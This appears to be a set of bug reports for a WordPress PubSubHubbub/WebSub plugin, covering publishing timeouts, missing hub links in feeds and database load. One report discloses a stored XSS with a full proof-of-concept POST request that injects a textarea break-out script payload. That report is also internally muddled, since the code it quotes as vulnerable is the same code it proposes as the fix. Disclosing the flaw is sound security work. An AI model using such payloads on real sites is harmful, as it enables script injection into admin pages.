This plugin started causing timeout when publishing / editing posts.

• WordPress 4.7.5
• Nginx/1.13.1
• PHP/7.0.19

Error log:

[19-Jun-2017 09:53:04] WARNING: [pool www] child 19559, script '/var/www/html/wp-admin/post.php' (request: "POST /wp-admin/post.php") executing too slow (11.445579 sec), logging
[19-Jun-2017 09:53:04] NOTICE: child 19559 stopped for tracing
[19-Jun-2017 09:53:04] NOTICE: about to trace 19559
[19-Jun-2017 09:53:04] NOTICE: finished trace of 19559
[19-Jun-2017 09:54:24] WARNING: [pool www] child 19559, script '/var/www/html/wp-admin/post.php' (request: "POST /wp-admin/post.php") execution timed out (91.462553 sec), terminating
[19-Jun-2017 09:54:24] WARNING: [pool www] child 19559 exited on signal 15 (SIGTERM) after 6384.825886 seconds from start

Slow log:

[19-Jun-2017 09:53:04]  [pool www] pid 19559
script_filename = /var/www/html/wp-admin/post.php
[0x00007f6423414010] curl_exec() /var/www/html/wp-content/plugins/pubsubhubbub/includes/pubsubhubbub-publisher.php:84
[0x00007f6423413f30] http_post() /var/www/html/wp-content/plugins/pubsubhubbub/includes/pubsubhubbub-publisher.php:61
[0x00007f6423413e60] publish_update() /var/www/html/wp-content/plugins/pubsubhubbub/includes/functions.php:22
[0x00007f6423413d80] pubsubhubbub_publish_to_hub() /var/www/html/wp-content/plugins/pubsubhubbub/pubsubhubbub.php:64
[0x00007f6423413cd0] publish_post() /var/www/html/wp-includes/class-wp-hook.php:300
[0x00007f6423413be0] apply_filters() /var/www/html/wp-includes/class-wp-hook.php:323
[0x00007f6423413b60] do_action() /var/www/html/wp-includes/plugin.php:453
[0x00007f6423413a30] do_action() /var/www/html/wp-includes/post.php:3993
[0x00007f6423413960] wp_transition_post_status() /var/www/html/wp-includes/post.php:3420
[0x00007f6423413550] wp_insert_post() /var/www/html/wp-includes/post.php:3578
[0x00007f6423413470] wp_update_post() /var/www/html/wp-admin/includes/post.php:378
[0x00007f6423413220] edit_post() /var/www/html/wp-admin/post.php:193

I wonder if the plugin has any timeout option

Hi,

So I had been wondering why publishing and updating posts was taking so long. After looking around, I then realized that the pubsubhubbub Wordpress plugin was making a call to wp_remote_post that sometimes took more than 20 seconds to complete.

To fix this, I simply added 'blocking' => false to the list of arguments, and it now takes only a few seconds for publishing and updating posts. I think this should definitely be added to the main code so the call doesn't block post publishing and updating.

Thanks.

Hi @pfefferle,

I'm back again with another issue. First, please see https://twitter.com/ArtemR/status/1109836106055340032.

I did get a hold of someone at Superfeedr who agreed to take a look at the flood, and their reason ended up being that we only have the PuSH hub entry in the main feed, but not category or tag feeds, of which there are tens of thousands.

Because of that, they think those feeds are not available for PuSH (even though we do notify Superfeedr using a custom function that fires on publish_post action. What we do for pings of feeds other than the main feed is upon publish_post, create a list of category, tag, author, and a few custom feeds, and then send it to pubsubhubbub_publish_to_hub($feed_urls)).

I see in pubsubhubbub.php that Pubsubhubbub_Topics->add_rss_link_tag() is attached to rss2_head - is there any reason why that shouldn't be adding the hubs to all feeds, including category and tag ones?

For example:
https://www.androidpolice.com/feed/ has

<atom:link rel="hub" href="https://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="https://pubsubhubbub.superfeedr.com"/><atom:link rel="hub" href="https://androidpolice.superfeedr.com"/>

but https://www.androidpolice.com/tags/sony/feed/ or https://www.androidpolice.com/topics/phones-devices/sony/feed/ do not.

Any ideas?

Thanks.

I’m getting behaviour from the Websub/Pubsubhubbub plugin I don’t understand. When I check websub.rocks to test my site (https://zylstra.org/blog) it erroneously says https://zylstra.org/blog/blog is the ‘self’ url, with double ‘/blog’. If you try to subscribe using a feedreader that checks for websub, logfiles show that it finds the proper feed url (/blog/feed) first but then says ‘canonical url moved to /blog/blog/feed’ and tries to subscribe to that.

Received the above error when publishing a post. WordPress 4.7.4
The post did publish but further execution interrupted by this.

I found that your plugin is vulnerable to stored cross-site scripting during my security research on wordpress plugins that have more than 200,000+ active installations.

I wish there are a security policy for this plugin to report it. I didn't find another way.
Note this is affecting the last version 3.1.2, didn't check if the others are vulnerable or not.
as can be seen in templates\settings-page.php

$pubsubhubbub_endpoints = esc_html(trim( implode( PHP_EOL, pubsubhubbub_get_hubs() ), PHP_EOL ));

<textarea name="pubsubhubbub_endpoints" id="pubsubhubbub_endpoints" rows="10" cols="50" class="large-text"><?php echo $pubsubhubbub_endpoints; ?></textarea>

pubsubhubbub_endpoints will print output unsanitized from dangerous HTML chars [ < > }. Therefore, a malicious actor can escape </textarea> and inject malicious javascript code on the client-side.

Proof of Concept

• Login and send the following request by navigating to wp-admin/options-general.php?page=pubsubhubbub

POST /wordpress/wp-admin/options.php HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://target.com/wordpress/wp-admin/options-general.php?page=pubsubhubbub
Content-Type: application/x-www-form-urlencoded
Content-Length: 285
Origin: http://target.com
Connection: close
Cookie: wordpress_799b52315717366fca2f113600
Upgrade-Insecure-Requests: 1

option_page=pubsubhubbub&action=update&_wpnonce=0db7dd530d&_wp_http_referer=%2Fwpmf%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Dpubsubhubbub%26settings-updated%3Dtrue&pubsubhubbub_endpoints=%3C%2Ftextarea%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&submit=Save+Changes

• As can be seen , payload is %3C%2Ftextarea%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E will simply escape <textarea and inject javascript.

• That will result in stored XSS in /wp-admin/options-general.php?page=pubsubhubbub endpoint.

Redemption

Simply escape the chars with esc_html() or something similar.

templates\settings-page.php

$pubsubhubbub_endpoints = esc_html(trim( implode( PHP_EOL, pubsubhubbub_get_hubs() ), PHP_EOL ));

That will result in

Hi,

I have a website and we use different custom post types. However, I saw that while on the regular feed the hub announcement is available, it is not on CPT's feeds.

Could we fix that somehow?

Thanks!

I noticed this and some other Ostatus related dependencies need to be updated for current Wordpress 5.x compatbility. Haven't encountered any issues with them.

Excellent plugin but I have an issue that looks like a common problem: https://wordpress.org/support/topic/settings-changes-resets-automatically/

All the plugin’s tests pass, conversion settings added, config saved. Rewrite rules are correctly added and WebP images served.

Then sometime later WebP images are no longer served. Visit the plugin’s settings and they have defaulted: ‘Conversion’ settings’ display the default values and ‘Alter HTML’ is disabled.

I will make some time to trawl through the logs and update with any findings. The only cause that would immediately spring to mind is some other plugin overwriting WebP’s .htaccess mods, something like the ubiquitous Yoast SEO and/or WP Rocket, Autoptimize etc.

Requesting the removed client implementation be reinstated but disabled by default, so it can be enabled and managed by another plugin.

Purpose...Yarns Microsub.

Hi,

I noticed a lot of simple wp_options queries to our db started taking several seconds to return in the last few months and finally decided to analyze.

I found that by far the top offender, which is returned by all queries SELECT option_name, option_value FROM wp_options WHERE autoload = 'yes' is pubsubhubbub_topic_urls.

This means every single page request loads this value and that much more data, unnecessarily. On one of our sites, the length is 2MB, on another 500KB.

But setting it to autoload=no apparently doesn't get rid of the code accessing it on every page load either. Now I am seeing a separate query for SELECT option_value FROM wp_options WHERE option_name = 'pubsubhubbub_topic_urls' LIMIT 1 fire all the time instead.

This is a very taxing event on the network.

Can you please take a look? I don't think there's a need to access pubsubhubbub_topic_urls on every request to the site.

Thank you.